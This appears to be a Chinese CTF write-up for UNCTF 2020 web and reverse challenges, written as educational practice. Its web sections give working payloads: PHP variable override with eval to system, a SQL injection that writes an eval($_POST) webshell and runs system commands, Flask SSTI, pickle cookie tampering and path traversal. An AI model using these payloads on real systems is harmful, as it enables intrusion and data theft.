-->
当前位置:首页 > DayDayUp > 正文内容

Web

easyphp

考点

Luz3年前 (2020-11-19)DayDayUp6901

Web

easyphp

考点

注意给hint ?source=1

  1. 变量覆盖

  2. php弱类型 爆破sha1,md5弱类型

  3. php复杂变量getshell

 

代码

<?php
 
$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
    function fuxkSQL($iText)
    {
        $oText = $iText;
        $oText = str_replace('\\\\', '\\', $oText);
        $oText = str_replace('\"', '"', $oText);
        $oText = str_replace("\'", "'", $oText);
        $oText = str_replace("'", "''", $oText);
        return $oText;
    }
}
if (!function_exists('getVars')) {
    function getVars()
    {
        $totals = array_merge($_GET, $_POST);
        if (count($_GET)) {
            foreach ($_GET as $key => $value) {
                global ${$key};
                if (is_array($value)) {
                    $temp_array = array();
                    foreach ($value as $key2 => $value2) {
                        if (function_exists('mysql_real_escape_string')) {
                            $temp_array[$key2] = fuxkSQL(trim($value2));
                        } else {
                            $temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
                        }
                    }
                    ${$key} = $_GET[$key] = $temp_array;
                } else {
                    if (function_exists('mysql_real_escape_string')) {
                        ${$key} = fuxkSQL(trim($value));
                    } else {
                        ${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
                    }
                }
            }
        }
    }
}
 
getVars();
if (isset($source)) {
    highlight_file(__FILE__);
}
 
//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
    echo 'you can set config variables!!' . '</br>';
    foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
            @eval("\$$key" . '="' . $GLOBALS[$key] . '";');
        }
    }
} else {
    foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key)) {
            echo ($GLOBALS[$key]) . '</br>';
        }
    }
}


 

奇奇怪怪的waf

因为环境是php7,所以没有mysql_real_escape_string函数,直接分析下面一半,相当于对单引号和双引号进行转义,但是反斜杠没有做任何操作。

变量覆盖


$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
foreach ($_GET as $key => $value) {
  global ${$key};
}


  • 这个功能可以将\$_GET中的键值直接转为变量类似于 xxx?password=1 那么就能覆盖\$admin变量。

  • 我们发现了这个adminPassword有很大的问题,这压根就不是md5。

要求

md5($password) === $adminPassword


  • 那么我们将\$password覆盖为任意值,然后将\$adminPassword覆盖为其md5值。即可过第一关。

php弱类型

php弱类型比较,考虑一种特殊情况,sha1(\$a)=0exxx,相当于科学计数法0,那么,爆破找出任意0exxx的变量的sha1还是0exxx。


<?php
for ($i5 = 0; $i5 <= 9999999999; $i5++) {
    $res = '0e' . $i5;
    //0e1290633704
    if ($res == hash('sha1', $res)) {
        print_r($res);
    }
}


php复杂变量


foreach (array_keys($GLOBALS) as $key) {
        if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
            @eval("\$$key" . '="' . $GLOBALS[$key] . '";');
        }
    }


  • 这段是将设置var开头,后面带1到2个数字变量的值,类似于var1=xxx;这样的

  • 由于变量覆盖的环节限制了单双引号的输入,所以这里的解法为利用php复杂

finall payload


?source=1&adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&var1={$_GET[1]}&var3=${$var1()}&1=phpinfo
命令执行
&var1=${$a($b)}&a=system&b=whoami


非预期

因为该题设计的时候执行代码的长度就给的比较长,而且没过滤\,所以存在使用复杂变量以外的解法。

var1=\";$a();?>&a=phpinfo

类似于这样的解法。

 

easy_ssrf

考点:

PHP黑魔法

此题在之前YCTF出现过一次。

有兴趣的师傅可以手撕php的c源码

https://github.com/php/php-src/blob/master/main/streams/streams.c

部分代码:


if (protocol) {
        if (NULL == (wrapper = zend_hash_str_find_ptr(wrapper_hash, protocol, n))) {
            char *tmp = estrndup(protocol, n);
 
            php_strtolower(tmp, n);
            if (NULL == (wrapper = zend_hash_str_find_ptr(wrapper_hash, tmp, n))) {
                char wrapper_name[32];
 
                if (n >= sizeof(wrapper_name)) {
                    n = sizeof(wrapper_name) - 1;
                }
                PHP_STRLCPY(wrapper_name, protocol, sizeof(wrapper_name), n);
 
                php_error_docref(NULL, E_WARNING, "Unable to find the wrapper \"%s\" - did you forget to enable it when you configured PHP?", wrapper_name);
 
                wrapper = NULL;
                protocol = NULL;
            }
            efree(tmp);
        }
    }
    /* TODO: curl based streams probably support file:// properly */
    if (!protocol || !strncasecmp(protocol, "file", n))    {
        /* fall back on regular file access */
        php_stream_wrapper *plain_files_wrapper = (php_stream_wrapper*)&php_plain_files_wrapper;
 
        if (protocol) {
            int localhost = 0;
 
            if (!strncasecmp(path, "file://localhost/", 17)) {
                localhost = 1;
            }
 
#ifdef PHP_WIN32
            if (localhost == 0 && path[n+3] != '\0' && path[n+3] != '/' && path[n+4] != ':')    {
#else
            if (localhost == 0 && path[n+3] != '\0' && path[n+3] != '/') {
#endif
                if (options & REPORT_ERRORS) {
                    php_error_docref(NULL, E_WARNING, "Remote host file access not supported, %s", path);
                }
                return NULL;
            }
 
            if (path_for_open) {
                /* skip past protocol and :/, but handle windows correctly */
                *path_for_open = (char*)path + n + 1;
                if (localhost == 1) {
                    (*path_for_open) += 11;
                }
                while (*(++*path_for_open)=='/') {
                    /* intentionally empty */
                }


当php遇到一个不认识的protocol时,会抛出一个warning,并将protocol设置为null,在protoco为null或file时,则进行本地操作。默认情况下不传协议或传入了不存在协议,会进行本地文件操作。

 

payload不唯一


1.?url=unctf.com/../../../../../../flag
2.?url=bl://unctf.com/../../../../../../flag


 

easyunserialize

简单反序列化字符串逃逸https://www.cnblogs.com/Sumarua/p/12932401.html

可以传入一个名为1的参数,赋值给uname,对参数进行序列化处理,然后将序列化结果中的所有challenge都替换为easychallenge,最后反序列化后password==='easy'就能拿到flag。

因此我们需要在传入参数时构造s:8:"password";s:4:"easy";

尝试传入challenge";s:8:"password";s:4:"easy";}

对于反序列化的语法来说,第一个右括号之后的字符都是作废的,因此我们只要使O:1:"a":2:{s:5:"uname";s:38:"easychallenge";s:8:"password";s:4:"easy";}这部分语法正确即可满足条件。

除了正常传入的challenge,还有构造的部分";s:8:"password";s:4:"easy";},有29个字符。每个challenge都可以溢出4个字符,不管几个challenge都无法满足条件,考虑再随便添加一个变量值,即";s:8;s:8:"password";s:4:"easy";s:2"aa";s:1"a"},有44个字符,这里传入11个challenge就能逃逸出44个字符。

 

payload?1=challengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";s:2"aa";s:1:"a"}

脚本:

<?php
error_reporting(0);
class a
{
    public $uname='challengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";s:2"aa";s:1:"a"}';
    public $password=1;
    public function __wakeup()
    {
        if($this->password==='easy')
        {
            echo 'flag';
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('challenge','easychallenge',$string);
}
$ser=filter(serialize(new a($uname,$password)));
echo $ser;
echo "\n";
echo unserialize($ser);
?>


babyeval

有两个过滤点:

  1. 不能利用带有括号的函数→利用echo输出内容。

  2. 输出内容中不能有flag→利用编码绕过

GET /?a=echo `base64 flag.php`;

%0a绕过。

GET /?a=system(%27%0acat%20f*%20|%20base64%27);

利用include函数加php伪协议。

GET /a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;

checkin-sql

这题目确实是我的锅,环境是之前强网杯的,稍微修改了一下。没有在意数据库中的数据。求求各位师傅们别骂了555555.

下面是WP。

过滤代码如下:

function waf1($id){
        if(preg_match("/select|update|rename|delete|drop|use|updatexml|if|sleep|alter|handler|insert|where|load_file|\./i",$id))
        {
                die("0xDktb said You are a hacker!");
        }
}
function waf2($id){
        if(preg_match("/set/i",$id) && preg_match("/prepare/i",$id))
        {
                die("0xDktb says You are a hacker£¡");
        }
}


为了便于选手做题,特意把 waf2 中的 ! 改成中文的,以便选手发现过滤不一样。发现 set 和 prepare 同时出现时会被过滤,而单独出现则不会过滤。

这里的预期解主要是想考察mysql的存储过程。网上有很多的文章,这里就不详细说明了。看过文章之后我们就可以轻松的绕过。

<?php
$a = "1';
    create procedure `qq`(out string text(1024), in hex text(1024))
    BEGIN
        SET string = hex;
    END;
    ;#";
echo urlencode($a)."\n";
$b = "1';
    call `qq`(@decoded, 0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460);
    prepare payload from @decoded;
    execute payload;
    ;#";
echo urlencode($b);
?>


但是这里我们直接读取数据库的flag时会发现 flag 是假的,我们尝试读取 user 。发现我们是 root 用户,于是尝试写马 get os-shell 。最后可以发现 flag 在根目录下。

import requests
 
 
url = "http://f1500bc6-b323-4ab3-a166-fc820aad602f.node1.hackingfor.fun/"
#两个exp用来生成一个cioi.php,密码是cioi
payload1 = "1'%3B%0D%0A%20%20%20%20create%20procedure%20%60qq%60(out%20string%20text(1024),%20in%20hex%20text(1024))%0D%0A%20%20%20%20BEGIN%0D%0A%20%20%20%20%20%20%20%20SET%20string%20%3D%20hex%3B%0D%0A%20%20%20%20END%3B%0D%0A%20%20%20%20%3B%23"
payload2 = "1'%3B%0D%0A%20%20%20%20call%20%60qq%60(%40decoded,%200x73656C65637420273C3F706870206576616C28245F504F53545B2263696F69225D293B203F3E2720696E746F206F757466696C6520222F7661722F7777772F68746D6C2F63696F692E706870223B)%3B%0D%0A%20%20%20%20prepare%20payload%20from%20%40decoded%3B%0D%0A%20%20%20%20execute%20payload%3B%0D%0A%20%20%20%20%3B%23"
 
 
data = {
    "cioi":"system('cat /fffllaagg');"
}
 
 
requests.get(url=url+"?inject="+payload1)
requests.get(url=url+"?inject="+payload2)
 
 
ans = requests.post(url+"cioi.php",data=data)
print(ans.text)

 

easyflask

考点

  1. flask session伪造

  2. flask ssti

flask session伪造

  • 首先题目明确告诉你你需要登录为admin,那么先试试login路由,这个路由很好猜的login

  • 登录失败,让你去register,你就register一个不是admin然后登录。

登录成功在首页的源码里面找到了一些hint,爆破secret key,这里推荐工具,flask-unsign

  • 爆破secret后伪造session 将username改成admin即可

ssti

在secret_route_you_do_not_know路由出发现ssti

  • fuzz 发现过滤 '%', '_', 'eval', 'open', 'flag',in, '-', 'class', 'mro', '[', ']', '\"', '\''

  • {{((session|attr(request.headers.x))|attr(request.headers.x1)).get(request.headers.x2).get(request.headers.x3)(request.headers.x4).read()}}, 具体就是attr和request.header.xn代替黑名单,拿出eval或者open函数执行即可,flag.txt在app.py同目录下。

 x: __init__

 x1: __globals__

 x2: __builtins__

 x3: open

 x4: app.py(flag.txt)

非预期

出题人自己傻逼了,,docker打错了,,起的时候用的是Gunicorn,没走main方法添加admin账号的逻辑,现在改成python启动就没问题了,可以考虑更新镜像。

easy_flask2

赶出来的一道题目,主要的考点是: 使用 pickle 控制 secret_key。

题目中过滤了 R 操作符,无法直接简单的 RCE 。但是并不是不能 RCE ,这里不详细谈。可以使用 c 操作符控制 config.secret_key 。

使用pker生成代码。(有问题的可以先读一读 pickle 反序列化)

secret = GLOBAL('__main__','config')

secret.secret_key = 'cioier'

person = INST('__main__','Person','1',1)

return person

将其加密后先将cookie中的pkl修改,但session先不动。

访问网站根目录重设 secret_key。

利用修改好的session 和 pkl 访问。

import requests
 
 
url = "http://c7e0c5c4-9ead-4e01-84c2-196dc4f48ac3.node1.hackingfor.fun/"
#正常的cookie值
headers1 = {
    "Cookie":"pkl=gASVPQAAAAAAAACMCF9fbWFpbl9flIwGUGVyc29ulJOUKYGUfZQojARuYW1llIwHQ3hsb3ZlcpSMCGlzX2FkbWlulEsAdWIu; session=eyJpc19hZG1pbiI6MCwibmFtZSI6IkN4bG92ZXIifQ.X5pgnQ.iNrwUO0UijvWoPDkGvZMUgpDxQE"
}
#只修改了pkl的cookie值
headers2 = {
    "Cookie":"pkl=Y19fbWFpbl9fCmNvbmZpZwpwMAowZzAKKH0oUydzZWNyZXRfa2V5JwpTJ2Npb2llcicKZHRiKFMnMScKSTEKaV9fbWFpbl9fClBlcnNvbgpwMgowZzIKLg==;session=eyJpc19hZG1pbiI6MCwibmFtZSI6IkN4bG92ZXIifQ.X5pgnQ.iNrwUO0UijvWoPDkGvZMUgpDxQE"
}
#同时伪造了pkl和session的cookie
headers3 = {
    "Cookie":"pkl=Y19fbWFpbl9fCmNvbmZpZwpwMAowZzAKKH0oUydzZWNyZXRfa2V5JwpTJ2Npb2llcicKZHRiKFMnMScKSTEKaV9fbWFpbl9fClBlcnNvbgpwMgowZzIKLg==;session=eyJpc19hZG1pbiI6MSwibmFtZSI6ImNpb2llciJ9.X4hR3Q.GaCavwGSK-F8L7Qc9RNs8ltx-SY"
}
 
 
data = {
    "name":"Cxlover"
}
 
 
requests.post(url=url+"login", data=data)
 
#正常登陆
requests.get(url=url+"login",headers=headers1)
#操作 secret_key 
requests.get(url=url+"login",headers=headers2)
requests.get(url)           #访问根目录,重设 SECRET_KEY
#用修改好的 session 和 pkl 访问
ans = requests.get(url=url+"login",headers=headers3)
print(ans.text)


俄罗斯方块

非预期解

直接猛打

预期解

考点是wasm的反编译

先简单介绍一下wasm:WebAssembly 具有巨大的意义——它提供了一条途径,以使得以各种语言编写的代码都可以以接近原生的速度在 Web 中运行,比如这个题目的俄罗斯方块就是用go语言写的(网上找的QWQ)

比如原来我们只能在街机上玩的小游戏,都可以搬到浏览器中在线玩

这个题目wp非常简单 同时也因为我的失误导致了本场比赛的最大非预期解,好像大家都去打俄罗斯方块了 都想着直接打出来,其实正常解法也是很easy的

查看源代码可以wasm文件的名称

下载下来后解压,使用wabt工具

编译完成后 这样使用

简单查看编译后的wat,发现还是难以直接读懂 在注释中有这样一句话

分数到了999还是9999还是99999来着就有flag,具体我也忘记了,反正自己玩吧!!!

然后原样用我的html重新替换(需要nginx或者apache环境)就可以再打一遍了

把它修改成10然后再重新编译

所以我们盲猜分数是99999,因为爱打工的ctfer运气不会差,在wat中搜索,果然发现了一个单独写的99999

ezfind

这个题来源无意中的发现 php中的is_file函数会返回除了true or false之外的值

测试代码

<?php
$a =$_GET['name'];
$b=is_file($a);
var_dump($b);


这题就这么简单 fuzz就能出来

具体的原理可能之后会再写一篇分析(咕咕咕咕咕)

?name[]=a 或者 ?name=%00

L0vephp

这道题目出得比较早,本来是给国赛决赛的,后来因为YLB的骚操作没有用上,就又改了一下。当然可能题目确实有点辣鸡,一开始还出现了严重的非预期,后面的黑名单也没过滤完全,也出现了其他的非预期,还请师傅们见谅

这道题目其实想考的是 php 5.6的变长参数特性,具体原理可以参考一下这篇文章:https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

 

一开始提示了读取源码,但是没有说明参数之类的东西,查看源码可以发现在最后一行有一段 base85 的编码,解一下就是 get action,也就是 ?action=***

过滤了 base,可以用 quoted-printable-encode,所以先读一下

?action=php://filter/convert.quoted-printable-encode/resource=flag.php

读出来后解一下就是

<?php
$flag = "unctf{7his_is_@_f4ke_f1a9}";
//hint:316E4433782E706870
?>


再根据 hint,Hex 转一下就是 1nD3x.php,访问就可以

<?php 
error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];
 
$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/'); 
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);
 
if (strlen($code)>16){
    die('Too long');
}
 
foreach ($blacklist1 as $blacklisted) { 
    if (preg_match ('/' . $blacklisted . '/m', $code)) { 
        die('WTF???'); 
    } 
} 
 
foreach ($blacklist2 as $blackitem) {
    if (preg_match ('/' . $blackitem . '/im', $code)) {
        die('Sry,try again');
    }
}

@eval($code);

利用上面那篇文章的 payload 就可以

?1[]=test&1[]=system(%27ls%20/%27);&2=assert

 

POST

code=usort(...$_GET);

然后 cat /f* 就可以

其他的非预期解法可能是利用 ?code=include$_GET[1];&1= 这样的包含

Reverse

ezvm

  • 初始化

a4[0] a4[1] a4[2] :r0、r1、r2 三个寄存器

a4[4]  unk_404080:opcode(eip)

v5:栈 (stack)

 

 

函数执行

0xF9 退出

0xF0 对比

if r2==[opcode+1] r0=0

else if r2<[opcode+1] r0=1

else r0=2

0xF1

    2: stack[r2] = r0

    5: r0 = stack[r2]

    6: r1 =  [opcode+2]

    7: r2 =  [opcode+2]

0xF3 加法的逻辑运算

0xF4

if (r0 == 1)

   eip -= [opcode + 1]

else

   eip += 2;

0xF7  读取21位字符存放在stack

0xF8  快指数算法实现 r0 = pow(r0,7)mod 187

 

判断函数

 

opcode和操作后的字符串

 

 

    整个设计就是读取21位的字符串,每隔两位加密。其中快指数可能看不出来,动调一下就好,就是pow(m,7)mod 187。emmm,是个rsa。

    脚本:

enflag = [150, 48, 144, 106, 159, 54, 39, 116, 179, 49, 157, 95, 142, 95, 17, 97, 157, 121, 39, 118, 131]

flag = ""

for i in range(len(enflag)):

   if i%2 == 0:

       flag+=chr(pow(enflag[i],23,187))

   else:

       flag+=chr(enflag[i])

print flag

#90dj06_th1s_A_3asy_vm

    其实通过动调发现是每隔两位加密,爆破也是可以的。

ezre

加减乘除 位运算实现

flag:unctf{MB_math_is_so_easy}

本题的主要考点其实就是加减乘除以及位运算和比较的其他表现形式,这里其实是参考看雪去年的一道逆向题,采用与非实现所有的运算,这里也是采用这个思想去实现的,因为代码在编写的时候符号会给提示,所以编译时就把符号表给去了,避免太简单,让新生师傅们吐槽,(毕竟老卑微逆向菜鸡了)代码已经在底下了,可以看看。

这题主要做的方法如下(菜鸡的自我认知):

根据IDA字符查找确定main函数:

 

然后因为采用了编译优化,所以IDA就不能反编译了,所以可以修一下,也可以硬看汇编

 

 

大致可以理出来很多式子,当把所有的处理语句整理出来就能得到本题的大致思路其实就是求flag对折后形成二维坐标点,然后求水平或者竖直入射到y=-x+128上的法线对称线的相应对称点,emmm 然后分两种情况一个是点在线下一个点在线上,因为对称点和初始点肯定在一边,所以很容易就求出来相应的表达式。

x'=-y+128

y'=2y+x-128

x'=x

y'=y

x'=2x+y-128

y'=-x+128

这里的话,根据给的数据就很容易求出flag了。

以下为代码:

int nots(int x){
   int data=~(x & x);
   return data;
}
int ands(int x,int y)
{
   int data=~(~(x&y));
   return data;
}
int xors(int x,int y)
{
   int a=~(x&y);
   int b=~(~x&~y);
   int c=~(a&b);
   return ~c;
}
#define POPULATE_RIGHT(X) \
   X |= X >>1; \
   X |= X >>2; \
   X |= X >>4; \
   X |= X >>8; \
   X |= X >>16;
#define REPLICATE_LSB(X) \
   X |= X <<1; \
   X |= X <<2; \
   X |= X <<4; \
   X |= X <<8; \
   X |= X <<16;
#define SELECT(COND,A,B) ((COND) & (A)) | (~(COND)&(B))
int compare(uint32_t a,uint32_t b) {
   uint32_t diff = xors(a,b);
   POPULATE_RIGHT(diff);
   uint32_t greate = ands(a,xors(diff,diff>>1));
   POPULATE_RIGHT(greate);
   REPLICATE_LSB(greate);
   uint32_t non_zero = ands(diff,1);
   REPLICATE_LSB(non_zero);
   return SELECT(non_zero,SELECT(greate,1,-1),0);
}
int add(int num1,int num2)
{
   return num2?add(xors(num1,num2),ands(num1,num2)<<1):num1;
}
int sub(int a,int b)
{
   return add(a,add(nots(b),1));
}
int mul(int a,int b)
{
   int multiplicand = a<0?add(nots(a),1):a;
   int multiplier = b<0?add(nots(b),1):b;
   int product = 0;
   while(multiplier>0){
       if(ands(multiplier,0x1)>0){
           product=add(product,multiplicand);
      }
       multiplicand=multiplicand<<1;
       multiplier=multiplier>>1;
  }
   if(xors(a,b)<0){
       product=add(nots(product),1);
  }
   return product;
}
int divs(int dividend,int divisor)
{
   int flag=1;
   if(compare(xors(dividend,divisor),0))
       flag=0;
   int x = (dividend<0) ? add(nots(dividend),1):dividend;
   int y = (divisor<0) ? add(nots(divisor),1):divisor;
   int ans=0;
   int i=31;
  while(i>=0){
      if((x>>i)>=y){
          ans = add(ans,(i<<i));
          x=sub(x,(y<<i));
      }
      i=sub(i,1);
  }
  if(flag){
      return add(nots(ans),1);
  }
  return ans;
}
int main()
{
   char flag[1024];
   int check[25];
   int realflag[25]={141,99,177,201,161,205,177,177,203,51,62,33,19,31,12,24,33,23};
   memset(check,0,sizeof(check));
   memset(flag,0,sizeof(flag));
   printf("please input your flag:");
   scanf("%s",flag);
   if(strlen(flag)!=18){
       puts("wrong!");
       exit(-1);
  }
   for (int i=0;i<9;i++) {
       int x=flag[i];
       int y=flag[add(strlen(flag)/2,i)];
       if(y<add(mul(-1,x),128)){
           check[i]=add(mul(-1,y),128);
           check[add(strlen(flag)/2,i)]=sub(add(mul(2,y),x),128);
      }else if (y==add(mul(-1,x),128))
      {
           check[i]=(x);
           check[add(strlen(flag)/2,i)]=(y);
      }else{
           check[i]=sub(add(mul(2,x),y),128);
           check[add(strlen(flag)/2,i)]=add(mul(-1,x),128);
      }
  }
   for(int i=0;i<18;i++) {
       if(compare(realflag[i],check[i])!=0) {
           printf("you are not a hacker!\n");
           exit(-1);
      }
  }
   printf("flag is so good!\n");
   return 0;
}


Trap

main函数:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char v3; // r12
  FILE *s; // ST10_8
  FILE *v5; // rbx
  char *v6; // rax
  void (__fastcall *v7)(__int16 *, char *); // ST20_8
  signed int i; // [rsp+Ch] [rbp-A4h]
  void *handle; // [rsp+18h] [rbp-98h]
  char dest[2]; // [rsp+30h] [rbp-80h]
  __int16 v12; // [rsp+32h] [rbp-7Eh]
  int v13; // [rsp+34h] [rbp-7Ch]
  __int64 v14; // [rsp+38h] [rbp-78h]
  __int16 v15; // [rsp+60h] [rbp-50h]
  __int16 v16; // [rsp+62h] [rbp-4Eh]
  int v17; // [rsp+64h] [rbp-4Ch]
  __int64 v18; // [rsp+68h] [rbp-48h]
  unsigned __int64 v19; // [rsp+98h] [rbp-18h]
  v19 = __readfsqword(0x28u);
  *(_WORD *)dest = 0;
  v12 = 0;
  v13 = 0;
  memset(&v14, 0, 0x28uLL);
  puts("Welcome To UNCTF2020_RE_WORLD !!!");
  printf("Plz Input Key: ", a2);
  __isoc99_scanf("%s", s1);
  strcpy(dest, s1);
  sub_400CBE(dest, s1);
  if ( !strcmp(s1, &s2) )
  {
    puts("Success.");
    for ( i = 0; i <= 8479; ++i )
    {
      v3 = byte_6020E0[i];
      byte_6020E0[i] = s1[i % strlen(s1)] ^ v3;
    }
    s = fopen("/tmp/libunctf.so", "wb");
    fwrite(byte_6020E0, 1uLL, 0x2120uLL, s);
    getchar();
    handle = dlopen("/tmp/libunctf.so", 1);
    if ( !handle )
    {
      v5 = stderr;
      v6 = dlerror();
      fputs(v6, v5);
      exit(1);
    }
    v7 = (void (__fastcall *)(__int16 *, char *))dlsym(handle, "jo_enc");
    dlerror();
    v15 = 0;
    v16 = 0;
    v17 = 0;
    memset(&v18, 0, 0x28uLL);
    printf("plz Input Answer: ", "jo_enc", &v18);
    __isoc99_scanf("%s", &v15);
    v7(&v15, dest);
  }
  else
  {
    puts("Loser!!!");
  }
  return 0LL;
}


首先将输入与0x22异或, 然后创建了一个线程 ,  

中间有一些花指令 以及简单的混淆和反调试.

意思大概是将s2与0x33异或, 然后和encrypt(input ^ 0x22) 做比较

patch掉反调试,

 

查看异或后的cipher:

 

解密:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
 
int enc(char *s, int n){
    if(n == 0){
        return 1;
    }
    *s-=1;
    return enc(&(*s),n-1);
}
 
 
 
 
void main(void){
    char cipher[] = "\x29\x24\x21\x24\x22\x1F\x4F\x28\x1D\x1E\x4E\x4F\x4E\x1D";
    int len = strlen(cipher);
    for(int i = 0; i < len; i++){
        enc(&(cipher[i]),len);
        cipher[i] = cipher[i]^0x22;
    }
    printf("%s\n",cipher);
    
 
}


将key输入, 第一层校验通过:

 

程序根据输入内容做运算。生成libunctf.so

 

瞎扯一些出题时的想法 :

此处也可以手动将cipher^0x33后的值直接和lib文件做异或, 同样可以得到libunctf.so , 但是只能正常生成这个文件, 过不去第一层校验,

如果直接和输入做运算 libc文件中包含的有连续几百个0x00 , 如果和part1的结果做异或, 就直接暴露了第一段flag  (ノ`⊿´)ノ

 

对libunctf.so进行分析

导出表中找到了jo_enc ,也就是我们重点观察的目标函数.

 

__int64 __fastcall jo_enc(char *a1, char *a2)
{
  char *v2; // ST20_8
  size_t v3; // ST10_8
  int n; // [rsp+60h] [rbp-500h]
  int m; // [rsp+64h] [rbp-4FCh]
  int l; // [rsp+68h] [rbp-4F8h]
  int k; // [rsp+6Ch] [rbp-4F4h]
  int v9; // [rsp+70h] [rbp-4F0h]
  int j; // [rsp+74h] [rbp-4ECh]
  int v11; // [rsp+78h] [rbp-4E8h]
  signed int i; // [rsp+7Ch] [rbp-4E4h]
  int v13[48]; // [rsp+80h] [rbp-4E0h]
  int v14[128]; // [rsp+140h] [rbp-420h]
  int s[129]; // [rsp+340h] [rbp-220h]
  int v16; // [rsp+544h] [rbp-1Ch]
  char *v17; // [rsp+548h] [rbp-18h]
  char *v18; // [rsp+550h] [rbp-10h]
 
 
  v18 = a1;
  v17 = a2;
  v16 = 0;
  memset(s, 0, 0x200uLL);
  memset(v14, 0, 0x200uLL);
  memset(v13, 0, 0xC0uLL);
  for ( i = 0; i < 128; ++i )
  {
    s[i] = 2 * i;
    v14[i] = 2 * i + 1;
  }
  v11 = strlen(v18);
  for ( j = 0; j < v11; ++j )
  {
    v9 = v18[j];
    if ( !(v9 % 2) )
    {
      for ( k = 0; k < v9; k += 2 )
        v13[j] += s[k];
    }
    if ( v9 % 2 )
    {
      for ( l = 0; l < v9; l += 2 )
        v13[j] += v14[l];
    }
  }
  for ( m = 0; m < v11; ++m )
  {
    v2 = v17;
    v3 = strlen(v17);
    v13[m] = (16 * v2[m % v3] & 0xE827490C | ~(16 * v2[m % v3]) & 0x17D8B6F3) ^ (v13[m] & 0xE827490C | ~v13[m] & 0x17D8B6F3);
  }
  for ( n = 0; n < v11; ++n )
  {
    if ( v13[n] != *((_DWORD *)off_200FD8 + n) )
    {
      v16 = 0;
      exit(1);
    }
    ++v16;
  }
  if ( v16 == 22 )
    puts("Win , Flag is unctf{input1+input2}");
  return 0LL;
}


 

最后有个长度校验 为22  ,  函数有轻微的混淆, 不过不影响分析

大致就是生成了一个奇数列表和一个偶数列表.  然后根据输入不同的位数来加上 小于输入这个数字的所有(奇数/偶数)*2之和

坑点在于  判断哪些是奇数,哪些是偶数,  (偶数乘2还是偶数,奇数乘2也是偶数)

所以判断方法为 他们的结果如果能除尽4 , 那么代表是偶数, 其他的情况视作奇数

 

 

根据这个约束条件 写出爆破脚本:

def decrypt(cipher_lst,key_lst):
    key_lst = [ord(x)<<4 for x in key_lst]
    for i in range(len(cipher_lst)):
        cipher_lst[i] ^= key_lst[i % len(key_lst)]
    # print cipher_lst
    q = [x for x in range(256) if x%2 == 1]
    p = [x for x in range(256) if x%2 == 0]
    tmp_lst = []
    for cipher in cipher_lst:
        res = 0
        tmp = 0
        if cipher % 4 == 0:
            for i in range(0,128,2):
                res += p[i]
                tmp += 1
                if res == cipher:
                    if tmp % 2 == 1:
                        print str(tmp * 2)+' : '+str(cipher)
                        tmp_lst.append(tmp*2)
                    if tmp % 2 == 0:
                        print str(tmp * 2)+' : '+str(cipher)
                        tmp_lst.append(tmp*2)
 
 
        if cipher % 2 != 0 :
            for i in range(0,128,2):
                res += q[i]
                tmp += 1
                if res == cipher:
                    if tmp % 2 == 1:
                        print str((tmp-1) * 2 + 1)+' : '+str(cipher)
                        tmp_lst.append((tmp-1) * 2 + 1)
                    if tmp % 2 == 0:
                        print str(tmp * 2 - 1)+' : '+str(cipher)
                        tmp_lst.append(tmp * 2 - 1)
        if (cipher / 2) % 2 != 0:
            for i in range(0,128,2):
                res += q[i]
                tmp += 1
                if res == cipher:
                    if tmp % 2 == 1:
                        print str((tmp-1) * 2 + 1)+' : '+str(cipher)
                        tmp_lst.append((tmp-1) * 2 + 1)
                    if tmp % 2 == 0:
                        print str(tmp * 2 - 1)+' : '+str(cipher)
                        tmp_lst.append(tmp * 2 - 1)
    return ''.join([chr(x) for x in tmp_lst])
 
 
 
 
c_lst = [0x00000684, 0x0000066E, 0x00000740, 0x00001016, 0x0000076B, 0x000006D8, 0x00000280, 0x000007D0, 
        0x0000113C, 0x0000072B, 0x00000334, 0x000003D8, 0x000003C8, 0x000004A5, 0x00001101, 0x0000066E, 
        0x000010FC, 0x000011D1, 0x0000061C, 0x0000061E, 0x000015DC, 0x000005F5]
 
 
print decrypt(c_lst,'941463c8-2bcb-')


 

image.png

 

出题的思路大致如下图(球球师傅们轻骂 /狗头保命):

image.png

 

 

 

babypy

(非常简单的py题啦!!!考验基础的py反编译使用和读代码能力,快哭了)

打开压缩包后是一个exe文件和txt,题目已经提示是python。所以可能为python打包成的exe文件,先检查是否有壳,无。

运行一下,发现运行出来的字符串和txt中的有异曲同工之妙.

开始使用pyinstxtractor.py脚本将babypy.exe的pyc文件编译出来

这里放出来大佬pyinstxtractor.py的源码,也可以到Github上自行寻找

from __future__ import print_function
import os
import struct
import marshal
import zlib
import sys
from uuid import uuid4 as uniquename
if sys.version_info.major == 3:
    from importlib.util import MAGIC_NUMBER
    pyc_magic = MAGIC_NUMBER
else:
    import imp
    pyc_magic = imp.get_magic()
class CTOCEntry:
    def __init__(self, position, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name):
        self.position = position
        self.cmprsdDataSize = cmprsdDataSize
        self.uncmprsdDataSize = uncmprsdDataSize
        self.cmprsFlag = cmprsFlag
        self.typeCmprsData = typeCmprsData
        self.name = name
class PyInstArchive:
